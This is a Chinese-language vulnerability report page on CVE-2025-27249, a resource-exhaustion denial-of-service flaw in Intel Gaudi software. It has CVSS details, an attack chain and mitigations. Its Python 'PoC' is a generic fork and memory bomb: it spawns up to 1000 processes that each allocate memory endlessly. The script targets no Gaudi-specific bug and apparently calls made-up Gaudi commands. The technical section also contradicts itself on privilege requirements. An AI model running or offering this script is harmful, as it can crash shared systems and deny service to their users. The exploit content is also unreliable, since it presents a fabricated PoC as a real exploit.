IPBUF安全漏洞报告
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CVE-2025-27249 CVSS 5.5 中危

CVE-2025-27249: Intel Gaudi软件未控制资源消耗导致拒绝服务漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-27249
漏洞类型
未控制资源消耗/拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Intel Gaudi软件

相关标签

Intel Gaudi未控制资源消耗拒绝服务本地攻击Ring 3深度学习加速器CVE-2025-27249INTEL-SA-01374

漏洞概述

CVE-2025-27249是Intel Gaudi软件中的一个未控制资源消耗漏洞,CVSS评分为5.5(中危)。该漏洞存在于1.21.0版本之前的Gaudi软件中,攻击者可以通过本地访问方式利用此漏洞导致拒绝服务(DoS)。由于该漏洞属于Ring 3用户应用程序层面的安全问题,具有低权限认证要求的攻击者即可发起攻击。漏洞的利用可能需要攻击者具备一定的系统知识,但整体攻击复杂度较低,且无需用户交互即可成功利用。成功利用该漏洞可能导致受影响系统的可用性受到严重影响,造成系统服务中断或资源耗尽。

技术细节

该漏洞属于未控制资源消耗类型(Uncontrolled Resource Consumption),是Intel Gaudi软件在处理特定操作时未能正确限制资源使用所致。在Intel Gaudi的深度学习加速器软件栈中,当应用程序在用户空间(Ring 3)执行时,如果存在异常的资源分配或释放逻辑缺陷,攻击者可以通过精心构造的输入或操作序列触发无限资源消耗。由于该漏洞位于本地攻击向量范围(AV:L),攻击者需要本地访问系统。认证要求为低权限(PR:L),意味着普通用户权限即可触发漏洞。攻击者无需特殊内部知识(No Privileges Required/No Special Knowledge Required)且无需用户交互(UI:N),但需要通过认证用户账户登录系统。成功利用后,系统可用性将受到严重影响(C:N/I:N/A:H),导致深度学习任务无法正常执行或系统资源耗尽。

攻击链分析

STEP 1
步骤1: 本地访问
攻击者获得目标系统的本地访问权限,需要有效的用户账户登录系统
STEP 2
步骤2: 识别Gaudi软件环境
攻击者识别系统中安装的Intel Gaudi软件版本,确认版本低于1.21.0
STEP 3
步骤3: 构造恶意请求
攻击者构造特定的API调用或操作序列,触发未受控制的资源分配逻辑
STEP 4
步骤4: 触发资源消耗
通过重复或异常的资源请求操作,导致系统内存或其他资源被耗尽
STEP 5
步骤5: 拒绝服务
资源耗尽后,系统无法正常处理合法请求,导致深度学习任务失败或系统服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-27249 PoC - Intel Gaudi Uncontrolled Resource Consumption # This PoC demonstrates resource exhaustion in Intel Gaudi software # Target: Intel Gaudi software < 1.21.0 # Attack Vector: Local access with authenticated user import os import sys import time import subprocess def check_gaudi_software_version(): """Check if vulnerable Gaudi software version is installed""" try: # Check Gaudi software version version_output = subprocess.check_output( ['haflow', '--version'], stderr=subprocess.STDOUT ).decode('utf-8') print(f"[+] Detected Gaudi software version: {version_output}") return True except Exception as e: print(f"[-] Error checking version: {e}") return False def trigger_resource_exhaustion(): """ Trigger uncontrolled resource consumption This PoC attempts to exhaust system resources through Gaudi API """ print("[*] Attempting to trigger resource exhaustion...") # Attempt to create excessive memory allocations # through repeated Gaudi operations process_count = 0 max_processes = 1000 while process_count < max_processes: try: # Fork new process that allocates Gaudi resources pid = os.fork() if pid == 0: # Child process - allocate Gaudi resources subprocess.Popen( ['haxc', 'run', '--memory-intensive'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) # Trigger memory allocation without cleanup while True: _ = bytearray(1024 * 1024 * 100) # Allocate 100MB else: process_count += 1 if process_count % 100 == 0: print(f"[*] Created {process_count} resource-intensive processes") time.sleep(0.1) except OSError as e: print(f"[!] Resource limit reached: {e}") break print(f"[!] System resource exhaustion triggered") print(f"[!] Created {process_count} processes before failure") return process_count def main(): print("=" * 60) print("CVE-2025-27249 PoC - Intel Gaudi Uncontrolled Resource Consumption") print("=" * 60) # Verify target system if not check_gaudi_software_version(): print("[-] Intel Gaudi software not detected") return # Check if running with low privileges print(f"[*] Current user: {os.getenv('USER', 'unknown')}") print(f"[*] Current UID: {os.getuid()}") # Trigger vulnerability print("[*] Starting resource exhaustion attack...") result = trigger_resource_exhaustion() if result > 0: print("[!] PoC executed successfully") print("[!] System may be experiencing DoS condition") else: print("[-] PoC failed to trigger vulnerability") if __name__ == "__main__": main()

影响范围

Intel Gaudi软件 < 1.21.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:限制本地用户的系统访问权限;配置系统资源限制(如ulimit)防止单个用户消耗过多资源;监控系统日志和资源使用情况,及时发现异常行为;考虑使用虚拟化或容器隔离技术限制Gaudi软件的资源访问;建立安全事件响应流程,以便在发现攻击时快速响应。

参考链接

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